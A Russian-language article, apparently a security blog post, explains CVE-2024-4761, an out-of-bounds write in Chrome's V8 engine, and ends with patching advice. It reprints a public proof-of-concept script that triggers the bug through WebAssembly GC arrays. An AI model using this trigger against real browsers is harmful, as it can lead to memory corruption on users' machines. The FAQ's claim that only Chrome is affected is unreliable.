CVE-2024-4761 стала серьезной проблемой в мире информационной безопасности, в частности затрагивая движок V8 JavaScript, который используется в популярном браузере Google Chrome. В этой статье мы рассмотрим уязвимость и разберемся, как от нее защититься.
Еще по теме: CVE-2023-36025 — обход SmartScreen
Уязвимость CVE-2024–4761
Эта уязвимость связана с записью данных за пределы выделенной памяти (out-of-bounds write). Воспользуясь уязвимостью злоумышленник сможет выполнить произвольный код на компьютере пользователя, просто заставив его зайти на вредоносный веб-сайт.
Пример кода с уязвимостью:
1 2 3 4 5 6 7 8 |
int id_sequence[3]; /* Заполнение массива id. */ id_sequence[0] = 123; id_sequence[1] = 234; id_sequence[2] = 345; id_sequence[3] = 456; // Ошибка: запись за пределами массива |
Этот пример показывает, как данные могут записываться за пределы выделенной памяти, что и является сутью проблемы.
Недавно появилось доказательство концепции (PoC), опубликованное пользователем 1377 High-yield Nukes, которое показывает, как уязвимость в движке V8 JavaScript может быть использована, иллюстрируя потенциал и опасность данной проблемы.
Пример кода PoC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
const prefix = "..."; d8.file.execute(`${prefix}/test/mjsunit/wasm/wasm-module-builder.js`); let builder = new WasmModuleBuilder(); let array = builder.addArray(kWasmI32, true); builder.addFunction('createArray', makeSig([kWasmI32], [kWasmExternRef])) .addBody([ kExprLocalGet, 0, kGCPrefix, kExprArrayNewDefault, array, kGCPrefix, kExprExternConvertAny, ]) .exportFunc(); let instance = builder.instantiate({}); let wasm = instance.exports; let array42 = wasm.createArray(42); let src = {}; src.a = 1; delete src.a; for (let i = 0; i < 1024; i++) { src[`p${i}`] = 1; } Object.assign(array42, src); |
PoC включает несколько ключевых этапов:
- Используя WebAssembly (WASM), создается новый модуль с функциями, предназначенными для вызова уязвимости записи за пределы памяти.
- Эксплойт изменяет обработку памяти, создавая и манипулируя массивом в WASM, который взаимодействует с движком V8 Chrome, чтобы использовать уязвимость.
- Скрипт использует специфические инструкции WASM, чтобы вызвать запись за пределы выделенной памяти.
Наличие PoC увеличивает серьезность CVE-2024-4761, так как предоставляет прямой метод для злоумышленников использовать уязвимость.
Для получения дополнительной информации по CVE-2024-4761 можно обратиться к базе уязвимостей.
Защита от CVE-2024–4761
Из-за серьезности этой уязвимости и возможности удаленного выполнения кода, пользователям и администраторам систем необходимо как можно быстрее установить обновления, выпущенные Google. Регулярные обновления помогают снижать риски, связанные с подобными уязвимостями, особенно в таком популярном ПО, как Google Chrome.
ПОЛЕЗНЫЕ ССЫЛКИ:
А можно как-то проверить, что мой комп не уязвим?
Просто обновите Chrome до последней версии. Google уже выпустил патч, который закрывает эту дыру.
А если я использую не Chrome, а другой браузер?
Нет, эта конкретная уязвимость затрагивает только Google Chrome.